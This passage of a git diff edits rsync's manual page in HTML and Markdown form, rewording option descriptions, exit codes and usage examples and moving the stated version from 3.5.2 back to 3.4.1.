href=\"#opt--copy-dest\"><code>--copy-dest</code></a>, and <a href=\"#opt--link-dest\"><code>--link-dest</code></a>.\n-This option is incompatible with rsync versions prior to 2.6.4 (March\n-2005), and when the receiving side is remote, the remote rsync must also\n-support this option.</p>\n-</dd>\n-\n <span id=\"opt-m\"></span><dt id=\"opt--prune-empty-dirs\"><code>--prune-empty-dirs</code>, <code>-m</code><a href=\"#opt--prune-empty-dirs\" class=\"tgt\"></a></dt><dd>\n <p>This option tells the receiving rsync to get rid of empty directories from\n the file-list, including nested directories that have no non-directory\n@@ -3571,16 +3255,13 @@ any user-supplied settings for those info flags takes precedence (e.g.\n <p>While rsync is transferring a regular file, it updates a progress line that\n looks like this:</p>\n <blockquote>\n-<pre><code>782,448B  63%    113KB/s    0:00:04\n+<pre><code>782448  63%  110.64kB/s    0:00:04\n </code></pre>\n </blockquote>\n-<p>In this example, the receiver has reconstructed 782,448 bytes or 63% of the\n-sender's file, which is being reconstructed at a rate of 113 kilobytes\n+<p>In this example, the receiver has reconstructed 782448 bytes or 63% of the\n+sender's file, which is being reconstructed at a rate of 110.64 kilobytes\n per second, and the transfer will finish in 4 seconds if the current rate\n is maintained until the end.</p>\n-<p>Progress rates are scaled in decimal units by default.  <code>--no-h</code> keeps the\n-rate in bytes per second, while <code>-hh</code> uses binary units such as <code>KiB/s</code> and\n-<code>MiB/s</code>.</p>\n <p>These statistics can be misleading if rsync's delta-transfer algorithm is\n in use.  For example, if the sender's file consists of the basis file\n followed by additional data, the reported rate will probably drop\n@@ -3590,12 +3271,12 @@ was finishing the matched part of the file.</p>\n <p>When the file transfer finishes, rsync replaces the progress line with a\n summary line that looks like this:</p>\n <blockquote>\n-<pre><code>1,238,099B 100%    150KB/s    0:00:08  (xfr#5, to-chk=169/396)\n+<pre><code>1,238,099 100%  146.38kB/s    0:00:08  (xfr#5, to-chk=169/396)\n </code></pre>\n </blockquote>\n <p>In this example, the file was 1,238,099 bytes long in total, the average\n-rate of transfer for the whole file was 150 kilobytes per second over the\n-8 seconds that it took to complete, it was the 5th transfer of a\n+rate of transfer for the whole file was 146.38 kilobytes per second over\n+the 8 seconds that it took to complete, it was the 5th transfer of a\n regular file during the current rsync session, and there are 169 more files\n for the receiver to check (to see if they are up-to-date or not) remaining\n out of the 396 total files in the file-list.</p>\n@@ -3631,7 +3312,7 @@ handled when the signal arrives).  A filename is output (if needed)\n followed by the <a href=\"#opt--info\"><code>--info=progress2</code></a> format of progress info.  If you\n don't know which of the 3 rsync processes is the client process, it's OK to\n signal all of them (since the non-client processes ignore the signal).</p>\n-<p>CAUTION: sending SIGVTALRM to an older rsync (pre-3.2.0, June 2020) will kill it.</p>\n+<p>CAUTION: sending SIGVTALRM to an older rsync (pre-3.2.0) will kill it.</p>\n </dd>\n \n <dt id=\"opt--password-file\"><code>--password-file=FILE</code><a href=\"#opt--password-file\" class=\"tgt\"></a></dt><dd>\n@@ -3653,22 +3334,22 @@ config file).</p>\n script on its stdin.  One possible use of this data is to give the script a\n secret that can be used to mount an encrypted filesystem (which you should\n unmount in the the &quot;post-xfer exec&quot; script).</p>\n-<p>The daemon must be at least version 3.2.1 (June 2020).</p>\n+<p>The daemon must be at least version 3.2.1.</p>\n </dd>\n \n <dt id=\"opt--list-only\"><code>--list-only</code><a href=\"#opt--list-only\" class=\"tgt\"></a></dt><dd>\n <p>This option will cause the source files to be listed instead of\n-transferred.  This option is inferred if there is a single source argument and\n+transferred.  This option is inferred if there is a single source arg and\n no destination specified, so its main uses are:</p>\n <ol>\n-<li>to turn a copy command that includes a destination argument into a\n+<li>to turn a copy command that includes a destination arg into a\n file-listing command, or</li>\n-<li>to be able to specify more than one source argument.  Note: be sure to\n+<li>to be able to specify more than one source arg.  Note: be sure to\n include the destination.</li>\n </ol>\n-<p>CAUTION: keep in mind that a source argument with a wild-card is expanded by the\n-shell into multiple arguments, so it is never safe to try to specify a single\n-wild-card argument to try to infer this option. A safe example is:</p>\n+<p>CAUTION: keep in mind that a source arg with a wild-card is expanded by the\n+shell into multiple args, so it is never safe to try to specify a single\n+wild-card arg to try to infer this option. A safe example is:</p>\n <blockquote>\n <pre><code>rsync -av --list-only foo* dest/\n </code></pre>\n@@ -3679,17 +3360,16 @@ wild-card argument to try to infer this option. A safe example is:</p>\n -rw-rw-r--             80 2005/01/11 10:37:37 support/Makefile\n </code></pre>\n </blockquote>\n-<p>The only option that affects this output style is the\n+<p>The only option that affects this output style is (as of 3.1.0) the\n <a href=\"#opt--human-readable\"><code>--human-readable</code></a> (<code>-h</code>) option.  The default is to output sizes\n as byte counts with digit separators (in a 14-character-width column).\n Specifying at least one <code>-h</code> option makes the sizes output with unit\n suffixes.  If you want old-style bytecount sizes without digit separators\n (and an 11-character-width column) use <code>--no-h</code>.</p>\n <p>Compatibility note: when requesting a remote listing of files from an rsync\n-that is version 2.6.3 or older (i.e., pre-2005),\n-you may encounter an error if you ask for a\n+that is version 2.6.3 or older, you may encounter an error if you ask for a\n non-recursive listing.  This is because a file listing implies the\n-<a href=\"#opt--dirs\"><code>--dirs</code></a> option without <a href=\"#opt--recursive\"><code>--recursive</code></a>, and older rsyncs don't\n+<a href=\"#opt--dirs\"><code>--dirs</code></a> option w/o <a href=\"#opt--recursive\"><code>--recursive</code></a>, and older rsyncs don't\n have that option.  To avoid this problem, either specify the <code>--no-dirs</code>\n option (if you don't need to expand a directory's content), or turn on\n recursion and exclude the content of subdirectories: <code>-r --exclude='/*/*'</code>.</p>\n@@ -3765,9 +3445,9 @@ files.</p>\n with <a href=\"#opt--read-batch\"><code>--read-batch</code></a>.  See the &quot;BATCH MODE&quot; section for details, and\n also the <a href=\"#opt--only-write-batch\"><code>--only-write-batch</code></a> option.</p>\n <p>This option overrides the negotiated checksum &amp; compress lists and always\n-negotiates a choice based on old-school md5/md4/zlib choices.  This means\n-batch mode is not compatible with newer compression choices such as zstd or\n-lz4.</p>\n+negotiates a choice based on old-school md5/md4/zlib choices.  If you want\n+a more modern choice, use the <a href=\"#opt--checksum-choice\"><code>--checksum-choice</code></a> (<code>--cc</code>) and/or\n+<a href=\"#opt--compress-choice\"><code>--compress-choice</code></a> (<code>--zc</code>) options.</p>\n </dd>\n \n <dt id=\"opt--only-write-batch\"><code>--only-write-batch=FILE</code><a href=\"#opt--only-write-batch\" class=\"tgt\"></a></dt><dd>\n@@ -3848,45 +3528,13 @@ is the case.</p>\n <dt id=\"opt--checksum-seed\"><code>--checksum-seed=NUM</code><a href=\"#opt--checksum-seed\" class=\"tgt\"></a></dt><dd>\n <p>Set the checksum seed to the integer NUM.  This 4 byte checksum seed is\n included in each block and MD4 file checksum calculation (the more modern\n-file checksums don't use a seed).  By default the checksum seed is\n+MD5 file checksums don't use a seed).  By default the checksum seed is\n generated by the server and defaults to the current <strong>time</strong>().  This\n option is used to set a specific checksum seed, which is useful for\n applications that want repeatable block checksums, or in the case where the\n user wants a more random checksum seed.  Setting NUM to 0 causes rsync to\n use the default of <strong>time</strong>() for checksum seed.</p>\n </dd>\n-\n-<dt id=\"opt--nice\"><code>--nice=SETTINGS</code><a href=\"#opt--nice\" class=\"tgt\"></a></dt><dd>\n-<p>Adjust the CPU and I/O scheduling priority of the local process, the remote\n-process or both.  SETTINGS is a comma-separated list.  Each setting is\n-<code>TARGET</code>, <code>PRIORITY</code> or <code>TARGET:PRIORITY</code>.  <code>TARGET</code> is <code>local</code>, <code>remote</code> or\n-<code>all</code>.  Omitting <code>TARGET</code> applies the priority to both processes.  A\n-target-only setting uses <code>19/idle</code>.  Target names and I/O values are\n-case-insensitive.</p>\n-<p><code>PRIORITY</code> is a CPU nice value from -&#8288;20 to 19, an I/O value or both\n-separated by <code>/</code>.  I/O values are <code>none</code>, <code>idle</code>, <code>rt_0</code> through <code>rt_7</code> and\n-<code>be_0</code> through <code>be_7</code>.  <code>none</code> restores the kernel-derived I/O priority.\n-Higher nice values and higher <code>rt</code> or <code>be</code> suffixes mean lower priority.\n-Raising priority may require additional privilege.</p>\n-<p>A setting that specifies only CPU or I/O priority leaves the other component\n-unchanged.  For example,\n-<code>--nice=remote:5 --nice=remote:idle</code> requests remote CPU priority 5 and\n-remote idle I/O priority.  Later settings replace earlier values for the\n-same component.  <code>--no-nice</code> clears all earlier settings.</p>\n-<p>Examples:</p>\n-<pre><code>--nice=19/idle\n---nice=local:10,remote:idle\n---nice=local:19/be_7,remote:5\n-</code></pre>\n-<p>The remote rsync must support this option before a remote setting can be\n-used.  Daemon clients may request only CPU nice 19, idle I/O priority or\n-both.  A daemon administrator can also refuse the option with\n-<code>refuse options = nice</code>.  When starting a daemon, the local setting is\n-applied before it accepts client settings.  A standalone listener passes\n-that priority to its workers.  A daemon's remote setting has no meaning.</p>\n-<p>If a priority change is unsupported or fails, rsync warns and continues the\n-transfer.</p>\n-</dd>\n </dl>\n <h2 id=\"DAEMON_OPTIONS\">DAEMON OPTIONS<a href=\"#DAEMON_OPTIONS\" class=\"tgt\"></a></h2>\n <p>The options allowed when starting an rsync daemon are as follows:</p>\n@@ -4023,9 +3671,9 @@ different ways.</p>\n are transferred, ignoring any deletion side-effects.  Filter rules mainly\n affect the contents of directories that rsync is &quot;recursing&quot; into, but they can\n also affect a top-level item in the transfer that was specified as a argument.</p>\n-<p>The default for any unmatched file/directory is for it to be included in the\n-transfer, which puts the file/directory into the sender's file list.  The use of an\n-exclude rule causes one or more matching files/directories to be left out of the\n+<p>The default for any unmatched file/dir is for it to be included in the\n+transfer, which puts the file/dir into the sender's file list.  The use of an\n+exclude rule causes one or more matching files/dirs to be left out of the\n sender's file list.  An include rule can be used to limit the effect of an\n exclude rule that is matching too many files.</p>\n <p>The order of the rules is important because the first rule that matches is the\n@@ -4084,7 +3732,7 @@ option (though the 2 commands behave differently if deletions are enabled):</p>\n </blockquote>\n <p>The following command does not need an include of the &quot;x&quot; directory because it\n is not a part of the transfer (note the trailing slash).  Running this command\n-would copy just &quot;<code>/tmp/x/file.txt</code>&quot; because the &quot;y&quot; and &quot;z&quot; directories get excluded:</p>\n+would copy just &quot;<code>/tmp/x/file.txt</code>&quot; because the &quot;y&quot; and &quot;z&quot; dirs get excluded:</p>\n <blockquote>\n <pre><code>rsync -ai -f'+ file.txt' -f'- *' x/ host:/tmp/x/\n </code></pre>\n@@ -4164,7 +3812,7 @@ Equivalent to a receiver-only exclude, so <code>-f'P foo'</code> could also be\n specified as <code>-f'-r foo'</code>.</dd>\n <dt><code>risk, 'R'</code></dt><dd> files that match the pattern are not protected. Equivalent to a\n receiver-only include, so <code>-f'R foo'</code> could also be specified as <code>-f'+r foo'</code>.</dd>\n-<dt><code>clear, '!'</code></dt><dd> clears the current include/exclude list (takes no argument)</dd>\n+<dt><code>clear, '!'</code></dt><dd> clears the current include/exclude list (takes no arg)</dd>\n </dl>\n <p>When rules are being read from a file (using merge or dir-merge), empty lines\n are ignored, as are whole-line comments that start with a '<code>#</code>' (filename rules\n@@ -4225,9 +3873,9 @@ be changed to &quot;<code>foo\\\\bar*</code>&quot; to avoid the &quot;<code>\\b</co\n <li>Option <code>-f'- /foo'</code> would exclude a file (or directory) named foo in the\n transfer-root directory</li>\n <li>Option <code>-f'- foo/'</code> would exclude any directory named foo</li>\n-<li>Option <code>-f'- foo/*/bar'</code> would exclude any file/directory named bar which is at two\n+<li>Option <code>-f'- foo/*/bar'</code> would exclude any file/dir named bar which is at two\n levels below a directory named foo (if foo is in the transfer)</li>\n-<li>Option <code>-f'- /foo/**/bar'</code> would exclude any file/directory named bar that was two\n+<li>Option <code>-f'- /foo/**/bar'</code> would exclude any file/dir named bar that was two\n or more levels below a top-level directory named foo (note that /foo/bar is\n <strong>not</strong> excluded by this)</li>\n <li>Options <code>-f'+ */' -f'+ *.c' -f'- *'</code> would include all directories and .c\n@@ -4243,12 +3891,12 @@ would be excluded by the &quot;<code>- *</code>&quot;)</li>\n absolute pathname of the current item.  For example, <code>-f'-/ /etc/passwd'</code>\n would exclude the passwd file any time the transfer was sending files from\n the &quot;/etc&quot; directory, and &quot;-&#8288;/ subdir/foo&quot; would always exclude &quot;foo&quot; when it\n-is in a directory named &quot;subdir&quot;, even if &quot;foo&quot; is at the root of the current\n+is in a dir named &quot;subdir&quot;, even if &quot;foo&quot; is at the root of the current\n transfer.</li>\n <li>A <code>!</code> specifies that the include/exclude should take effect if the pattern\n fails to match.  For instance, <code>-f'-! */'</code> would exclude all non-directories.</li>\n <li>A <code>C</code> is used to indicate that all the global CVS-exclude rules should be\n-inserted as excludes in place of the &quot;-&#8288;C&quot;.  No argument should follow.</li>\n+inserted as excludes in place of the &quot;-&#8288;C&quot;.  No arg should follow.</li>\n <li>An <code>s</code> is used to indicate that the rule applies to the sending side.  When a\n rule affects the sending side, it affects what files are put into the\n sender's file list.  The default is for a rule to affect both sides unless\n@@ -4266,7 +3914,7 @@ like &quot;CVS&quot; and &quot;<code>*.o</code>&quot; are marked as perishable,\n directory that was removed on the source from being deleted on the\n destination.</li>\n <li>An <code>x</code> indicates that a rule affects xattr names in xattr copy/delete\n-operations (and is thus ignored when matching file/directory names).  If no\n+operations (and is thus ignored when matching file/dir names).  If no\n xattr-matching rules are specified, a default xattr filtering rule is used\n (see the <a href=\"#opt--xattrs\"><code>--xattrs</code></a> option).</li>\n </ul>\n@@ -4350,7 +3998,7 @@ file.  All rules read in prior to the start of the directory scan follow the\n global anchoring rules (i.e. a leading slash matches at the root of the\n transfer).</p>\n <p>If a per-directory merge-file is specified with a path that is a parent\n-directory of the first transfer directory, rsync will scan all the parent directories\n+directory of the first transfer directory, rsync will scan all the parent dirs\n from that starting point to the transfer directory for the indicated\n per-directory file.  For instance, here is a common filter (see <a href=\"#opt-F\"><code>-F</code></a>):</p>\n <blockquote>\n@@ -4371,7 +4019,7 @@ rsync -av --filter=': .rsync-filter' /src/path/ /dest/dir\n </blockquote>\n <p>The first two commands above will look for &quot;.rsync-filter&quot; in &quot;/&quot; and &quot;/src&quot;\n before the normal scan begins looking for the file in &quot;/src/path&quot; and its\n-subdirectories.  The last command avoids the parent-directory scan and only looks for\n+subdirectories.  The last command avoids the parent-dir scan and only looks for\n the &quot;.rsync-filter&quot; files in each directory that is a part of the transfer.</p>\n <p>If you want to include the contents of a &quot;.cvsignore&quot; in your patterns, you\n should use the rule &quot;:C&quot;, which creates a dir-merge of the .cvsignore file, but\n@@ -4392,7 +4040,7 @@ rsync -avC --include=foo.o -f :C --exclude='*.old' a/ b\n </blockquote>\n <p>Both of the above rsync commands are identical.  Each one will merge all the\n per-directory .cvsignore rules in the middle of the list rather than at the\n-end.  This allows their directory-specific rules to supersede the rules that follow\n+end.  This allows their dir-specific rules to supersede the rules that follow\n the :C instead of being subservient to all your rules.  To affect the other CVS\n exclude rules (i.e. the default list of exclusions, the contents of\n $HOME/.cvsignore, and the value of $CVSIGNORE) you should omit the <code>-C</code>\n@@ -4546,7 +4194,7 @@ destination tree.  Rsync updates the destination tree using the information\n stored in the batch file.</p>\n <p>For your convenience, a script file is also created when the write-batch option\n is used: it will be named the same as the batch file with &quot;.sh&quot; appended.  This\n-script file contains a command line suitable for updating a destination tree\n+script file contains a command-line suitable for updating a destination tree\n using the associated batch file.  It can be executed using a Bourne (or\n Bourne-like) shell, optionally passing in an alternate destination tree\n pathname which is then used instead of the original destination path.  This is\n@@ -4600,8 +4248,8 @@ used to generate the batch file.  Rsync will die with an error if the protocol\n version in the batch file is too new for the batch-reading rsync to handle.\n See also the <a href=\"#opt--protocol\"><code>--protocol</code></a> option for a way to have the creating rsync\n generate a batch file that an older rsync can understand.  (Note that batch\n-files changed format in version 2.6.3 (September 2004), so mixing versions\n-older than that with newer versions will not work.)</p>\n+files changed format in version 2.6.3, so mixing versions older than that with\n+newer versions will not work.)</p>\n <p>When reading a batch file, rsync will force the value of certain options to\n match the data in the batch file if you didn't set them to the same as the\n batch-writing command.  Other options can (and should) be changed.  For\n@@ -4615,6 +4263,8 @@ script file.  An advanced user can use this to modify the exclude list if a\n change in what gets deleted by <a href=\"#opt--delete\"><code>--delete</code></a> is desired.  A normal user\n can ignore this detail and just use the shell script as an easy way to run the\n appropriate <a href=\"#opt--read-batch\"><code>--read-batch</code></a> command for the batched data.</p>\n+<p>The original batch mode in rsync was based on &quot;rsync+&quot;, but the latest\n+version uses a new implementation.</p>\n <h2 id=\"SYMBOLIC_LINKS\">SYMBOLIC LINKS<a href=\"#SYMBOLIC_LINKS\" class=\"tgt\"></a></h2>\n <p>Three basic behaviors are possible when rsync encounters a symbolic\n link in the source directory.</p>\n@@ -4655,7 +4305,7 @@ unsafe symlinks found in the transfer and creates the safe ones.</dd>\n </dl>\n <p>For the effect of <a href=\"#opt--munge-links\"><code>--munge-links</code></a>, see the discussion in that option's\n section.</p>\n-<p>Note that the <a href=\"#opt--keep-dirlinks\"><code>--keep-dirlinks</code></a> option does not affect symlinks in the\n+<p>Note that the <a href=\"#opt--keep-dirlinks\"><code>--keep-dirlinks</code></a> option does not effect symlinks in the\n transfer but instead affects how rsync treats a symlink to a directory that\n already exists on the receiving side.  See that option's section for a warning.</p>\n <h2 id=\"DIAGNOSTICS\">DIAGNOSTICS<a href=\"#DIAGNOSTICS\" class=\"tgt\"></a></h2>\n@@ -4683,7 +4333,7 @@ file is included or excluded.</p>\n <li><strong>0</strong> -&#8288; Success</li>\n <li><strong>1</strong> -&#8288; Syntax or usage error</li>\n <li><strong>2</strong> -&#8288; Protocol incompatibility</li>\n-<li><strong>3</strong> -&#8288; Errors selecting input/output files, directories</li>\n+<li><strong>3</strong> -&#8288; Errors selecting input/output files, dirs</li>\n <li><strong>4</strong> -&#8288; Requested action not supported. Either:\n <ul>\n <li>an attempt was made to manipulate 64-bit files on a platform that cannot support them</li>\n@@ -4691,20 +4341,18 @@ file is included or excluded.</p>\n </ul>\n </li>\n <li><strong>5</strong> -&#8288; Error starting client-server protocol</li>\n+<li><strong>6</strong> -&#8288; Daemon unable to append to log-file</li>\n <li><strong>10</strong> -&#8288; Error in socket I/O</li>\n <li><strong>11</strong> -&#8288; Error in file I/O</li>\n <li><strong>12</strong> -&#8288; Error in rsync protocol data stream</li>\n <li><strong>13</strong> -&#8288; Errors with program diagnostics</li>\n <li><strong>14</strong> -&#8288; Error in IPC code</li>\n-<li><strong>15</strong> -&#8288; Sibling process crashed (e.g. core dumped).</li>\n-<li><strong>16</strong> -&#8288; Sibling process was killed by a signal.</li>\n-<li><strong>19</strong> -&#8288; Received SIGUSR1.</li>\n-<li><strong>20</strong> -&#8288; Received SIGINT, SIGTERM, or SIGHUP.</li>\n+<li><strong>20</strong> -&#8288; Received SIGUSR1 or SIGINT</li>\n <li><strong>21</strong> -&#8288; Some error returned by <strong>waitpid()</strong></li>\n <li><strong>22</strong> -&#8288; Error allocating core memory buffers</li>\n <li><strong>23</strong> -&#8288; Partial transfer due to error</li>\n <li><strong>24</strong> -&#8288; Partial transfer due to vanished source files</li>\n-<li><strong>25</strong> -&#8288; The -&#8288;-&#8288;max-&#8288;delete limit stopped deletions</li>\n+<li><strong>25</strong> -&#8288; The -&#8288;-&#8288;max-delete limit stopped deletions</li>\n <li><strong>30</strong> -&#8288; Timeout in data send/receive</li>\n <li><strong>35</strong> -&#8288; Timeout waiting for daemon connection</li>\n </ul>\n@@ -4718,7 +4366,7 @@ file is included or excluded.</p>\n \n <dt id=\"RSYNC_ICONV\"><code>RSYNC_ICONV</code><a href=\"#RSYNC_ICONV\" class=\"tgt\"></a></dt><dd>\n <p>Specify a default <a href=\"#opt--iconv\"><code>--iconv</code></a> setting using this environment\n-variable.</p>\n+variable. First supported in 3.0.0.</p>\n </dd>\n \n <dt id=\"RSYNC_OLD_ARGS\"><code>RSYNC_OLD_ARGS</code><a href=\"#RSYNC_OLD_ARGS\" class=\"tgt\"></a></dt><dd>\n@@ -4729,7 +4377,7 @@ default. When this environment variable is set to a non-zero value, it\n supersedes the <a href=\"#RSYNC_PROTECT_ARGS\"><code>RSYNC_PROTECT_ARGS</code></a> variable.</p>\n <p>This variable is ignored if <a href=\"#opt--old-args\"><code>--old-args</code></a>, <code>--no-old-args</code>, or\n <a href=\"#opt--secluded-args\"><code>--secluded-args</code></a> is specified on the command line.</p>\n-<p>First supported in 3.2.4 (April 2022).</p>\n+<p>First supported in 3.2.4.</p>\n </dd>\n \n <dt id=\"RSYNC_PROTECT_ARGS\"><code>RSYNC_PROTECT_ARGS</code><a href=\"#RSYNC_PROTECT_ARGS\" class=\"tgt\"></a></dt><dd>\n@@ -4738,7 +4386,7 @@ option to be enabled by default, or a zero value to make sure that it is\n disabled by default.</p>\n <p>This variable is ignored if <a href=\"#opt--secluded-args\"><code>--secluded-args</code></a>, <code>--no-secluded-args</code>,\n or <a href=\"#opt--old-args\"><code>--old-args</code></a> is specified on the command line.</p>\n-<p>Starting in 3.2.4 (April 2022), this variable is ignored if\n+<p>First supported in 3.1.0.  Starting in 3.2.4, this variable is ignored if\n <a href=\"#RSYNC_OLD_ARGS\"><code>RSYNC_OLD_ARGS</code></a> is set to a non-zero value.</p>\n </dd>\n \n@@ -4831,7 +4479,7 @@ the comments on the <a href=\"#opt--modify-window\"><code>--modify-window</code></\n </ul>\n <p>Please report bugs! See the web site at <a href=\"https://rsync.samba.org/\">https://rsync.samba.org/</a>.</p>\n <h2 id=\"VERSION\">VERSION<a href=\"#VERSION\" class=\"tgt\"></a></h2>\n-<p>This manpage is current for version 3.5.2 of rsync.</p>\n+<p>This manpage is current for version 3.4.1 of rsync.</p>\n <h2 id=\"INTERNAL_OPTIONS\">INTERNAL OPTIONS<a href=\"#INTERNAL_OPTIONS\" class=\"tgt\"></a></h2>\n <p>The options <code>--server</code> and <code>--sender</code> are used internally by rsync, and should\n never be typed by a user under normal circumstances.  Some awareness of these\n@@ -4859,8 +4507,7 @@ David Bell.  I've probably missed some people, my apologies if I have.</p>\n <h2 id=\"AUTHOR\">AUTHOR<a href=\"#AUTHOR\" class=\"tgt\"></a></h2>\n <p>Rsync was originally written by Andrew Tridgell and Paul Mackerras.  Many\n people from around the world have helped to maintain and improve it.</p>\n-<p>Special thanks go to Wayne Davison, who maintained rsync from 2004 to 2024.</p>\n <p>Mailing lists for support and development are available at\n <a href=\"https://lists.samba.org/\">https://lists.samba.org/</a>.</p>\n-<div style=\"float: right\"><p><i>4 Nov 2026</i></p></div>\n+<div style=\"float: right\"><p><i>15 Jan 2025</i></p></div>\n </body></html>\ndiff --git a/rsync.1.md b/rsync.1.md\nindex e447ed3..7e40e36 100644\n--- a/rsync.1.md\n+++ b/rsync.1.md\n@@ -1,6 +1,6 @@\n ## NAME\n \n-rsync - a fast, versatile, local/remote file-copying tool\n+rsync - a fast, versatile, remote (and local) file-copying tool\n \n ## SYNOPSIS\n \n@@ -20,19 +20,19 @@ Access via rsync daemon:\n         rsync [OPTION...] rsync://[USER@]HOST[:PORT]/SRC... [DEST]\n     Push:\n         rsync [OPTION...] SRC... [USER@]HOST::DEST\n-        rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST\n+        rsync [OPTION...] SRC... rsync://[USER@]HOST[:PORT]/DEST)\n ```\n \n-Usages with just one SRC argument and no DEST argument will list the source files instead\n+Usages with just one SRC arg and no DEST arg will list the source files instead\n of copying.\n \n-The online version of this manpage (which includes cross-linking of topics)\n+The online version of this manpage (that includes cross-linking of topics)\n is available at <https://download.samba.org/pub/rsync/rsync.1>.\n \n ## DESCRIPTION\n \n Rsync is a fast and extraordinarily versatile file copying tool.  It can copy\n-locally, to/from another host over a remote shell, or to/from a remote rsync\n+locally, to/from another host over any remote shell, or to/from a remote rsync\n daemon.  It offers a large number of options that control every aspect of its\n behavior and permit very flexible specification of the set of files to be\n copied.  It is famous for its delta-transfer algorithm, which reduces the\n@@ -49,7 +49,7 @@ the file's data does not need to be updated.\n \n Some of the additional features of rsync are:\n \n-- support for copying hard and soft links, devices, owners, groups, and permissions\n+- support for copying links, devices, owners, groups, and permissions\n - exclude and exclude-from options similar to GNU tar\n - a CVS exclude mode for ignoring the same files that CVS would ignore\n - can use any transparent remote shell, including ssh or rsh\n@@ -60,62 +60,46 @@ Some of the additional features of rsync are:\n ## GENERAL\n \n Rsync copies files either to or from a remote host, or locally on the current\n-host.  It does not support copying files between two different remote hosts.\n+host (it does not support copying files between two remote hosts).\n \n There are two different ways for rsync to contact a remote system: using a\n-remote-shell program as the transport (such as ssh or rsh), or by contacting an\n+remote-shell program as the transport (such as ssh or rsh) or contacting an\n rsync daemon directly via TCP.  The remote-shell transport is used whenever the\n source or destination path contains a single colon (:) separator after a host\n-specification.  In this case, the local rsync process uses the remote\n-shell program to start an rsync process on the remote system.  The two\n-rsync processes then communicate via the remote shell program to\n-accomplish the desired transfers.  In this case, the files that are\n-accessible on the remote system are those accessible to the user ID\n-under which the remote shell starts the remote rsync process.\n-\n-Contacting an rsync daemon directly happens when the source or\n+specification.  Contacting an rsync daemon directly happens when the source or\n destination path contains a double colon (::) separator after a host\n-specification, OR when an rsync:// URL is specified.\n-In this case, the remote rsync daemon process will\n-provide access only to specific sets of files, called modules,\n-according to its configuration.\n-It is also possible to contact an rsync daemon via a remote-shell\n-transport; see the [USING RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL\n-CONNECTION](#) section for details.\n-\n-As a special case, if a single source argument is specified without a destination,\n+specification, OR when an rsync:// URL is specified (see also the [USING\n+RSYNC-DAEMON FEATURES VIA A REMOTE-SHELL CONNECTION](#) section for an\n+exception to this latter rule).\n+\n+As a special case, if a single source arg is specified without a destination,\n the files are listed in an output format similar to \"`ls -l`\".\n \n-If neither the source or destination path specify a remote host,\n+As expected, if neither the source or destination path specify a remote host,\n the copy occurs locally (see also the [`--list-only`](#opt) option).\n \n-Rsync refers to the local side as the client and the remote side as\n-the server.  The server is not to be confused with an rsync daemon.\n-A daemon is always a server, but a server can be either a daemon or a\n-remote-shell spawned process.  If the transfer is local, then the\n-rsync subprocess which receives the contents of the files being\n-transferred is the server.\n+Rsync refers to the local side as the client and the remote side as the server.\n+Don't confuse server with an rsync daemon.  A daemon is always a server, but a\n+server can be either a daemon or a remote-shell spawned process.\n \n ## SETUP\n \n-Most Linux distributions include rsync as a package that can be\n-installed using the package manager.\n-If for any reason you need to build and install rsync from source,\n-see the file README.md for installation instructions.\n+See the file README.md for installation instructions.\n \n Once installed, you can use rsync to any machine that you can access via a\n-remote shell, or that has an rsync daemon available.\n-For remote transfers, rsync normally uses ssh for its\n-communications.  Alternatively,\n-you can specify any remote shell you like, either by using the [`-e`](#opt)\n+remote shell (as well as some that you can access using the rsync daemon-mode\n+protocol).  For remote transfers, a modern rsync uses ssh for its\n+communications, but it may have been configured to use a different remote shell\n+by default, such as rsh or remsh.\n+\n+You can also specify any remote shell you like, either by using the [`-e`](#opt)\n command line option, or by setting the [`RSYNC_RSH`](#) environment variable.\n \n Note that rsync must be installed on both the source and destination machines.\n \n ## USAGE\n \n-You use rsync in a similar way to other file-copying commands such\n-as cp and rcp.  You must specify a source and a\n+You use rsync in the same way you use rcp.  You must specify a source and a\n destination, one of which may be remote.\n \n Perhaps the best way to explain the syntax is with some examples:\n@@ -127,8 +111,8 @@ directory to the directory src on the machine foo.  If any of the files already\n exist on the remote system then the rsync remote-update protocol is used to\n update the file by sending only the differences in the data.  Note that the\n expansion of wildcards on the command-line (`*.c`) into a list of files is\n-handled by the shell before it runs rsync and not by rsync itself (as for\n-other Posix-style programs).\n+handled by the shell before it runs rsync and not by rsync itself (exactly the\n+same as all other Posix-style programs).\n \n >     rsync -avz foo:src/bar /data/tmp\n \n@@ -176,36 +160,32 @@ directory you like:\n \n >     rsync -ai foo/ bar/\n \n-Rsync also has the ability to copy a single file to a\n-destination file with a different name.  The rules for this are:\n+Rsync also has the ability to customize a destination file's name when copying\n+a single item.  The rules for this are:\n \n - The transfer list must consist of a single item (either a file or an empty\n   directory)\n - The final element of the destination path must not exist as a directory\n - The destination path must not have been specified with a trailing slash\n \n-Under those circumstances, rsync will use the specified destination\n-path as the filename of the destination (rather than constructing a\n-filename using the last element of the source path).  It is best\n-to use this idiom only when copying a file, and to use the above trailing-slash\n+Under those circumstances, rsync will set the name of the destination's single\n+item to the last element of the destination path.  Keep in mind that it is best\n+to only use this idiom when copying a file and use the above trailing-slash\n idiom when copying a directory.\n \n-The following example copies the `foo.c` file as `bar.c` in the `save` directory\n+The following example copies the `foo.c` file as `bar.c` in the `save` dir\n (assuming that `bar.c` isn't a directory):\n \n >     rsync -ai src/foo.c save/bar.c\n \n-The single-item copy rule can give unexpected results if a wildcard\n-pattern for the source yields a single item, and the destination,\n-though specified without a trailing slash, is intended to be a\n-directory, but that directory does not exist.\n-For example, if `src/*.c` matches one file and `save/dir`\n-doesn't exist, this will perhaps confusingly name the destination file\n-`save/dir`:\n+The single-item copy rule might accidentally bite you if you unknowingly copy a\n+single item and specify a destination dir that doesn't exist (without using a\n+trailing slash).  For example, if `src/*.c` matches one file and `save/dir`\n+doesn't exist, this will confuse you by naming the destination file `save/dir`:\n \n >     rsync -ai src/*.c save/dir\n \n-To prevent such an accident, either make sure the destination directory exists or\n+To prevent such an accident, either make sure the destination dir exists or\n specify the destination path with a trailing slash:\n \n >     rsync -ai src/*.c save/dir/\n@@ -214,128 +194,65 @@ specify the destination path with a trailing slash:\n \n Rsync always sorts the specified filenames into its internal transfer list.\n This handles the merging together of the contents of identically named\n-directories and makes it easy to remove duplicate filenames. It can, however,\n-result in files being transferred in a different order from that\n-specified on the command-line.\n-\n-If you need a particular file to be transferred prior to another, the\n-only way to be guaranteed of that is to separate the files into\n-different rsync calls.  If it is sufficient for the destination files to\n-appear at almost the same time, consider using\n-[`--delay-updates`](#opt), which doesn't affect the sorted transfer order, but\n-does make the final file-updating phase happen much more 